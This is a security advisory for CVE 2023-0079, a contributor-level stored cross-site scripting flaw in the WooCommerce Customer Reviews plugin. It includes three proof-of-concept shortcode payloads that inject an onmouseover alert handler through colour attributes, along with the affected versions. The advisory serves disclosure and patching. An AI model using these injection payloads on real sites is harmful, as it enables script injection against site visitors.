Customer Reviews for WooCommerce < 5.17.0 – Contributor+ Stored XSS | CVE 2023-0079

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[cusrev_reviews_grid color_brdr='red; border-width:10px;" onmouseover="alert(/XSS/)"']
[cusrev_reviews_slider color_brdr='red; border-width:10px;" onmouseover="alert(/XSS/)"]
[cusrev_reviews_grid color_ex_brdr='"onmouseover="alert(/XSS/)//']

Affected attributes:
- Fixed in 5.16.0: color_brdr, color_bcrd, color_pr_bcrd, color_stars
- Fixed in 5.17.0 for the reviews_grid shortcode: color_ex_brdr, color_ex_bcrd

Note: The “Enable shortcodes and Gutenberg blocks” in Reviews Settings needs to be enabled. You can find this setting in the Shortcode tab (/wp-admin/admin.php?page=cr-reviews-settings&tab=shortcodes), and at least one review needs to be in the database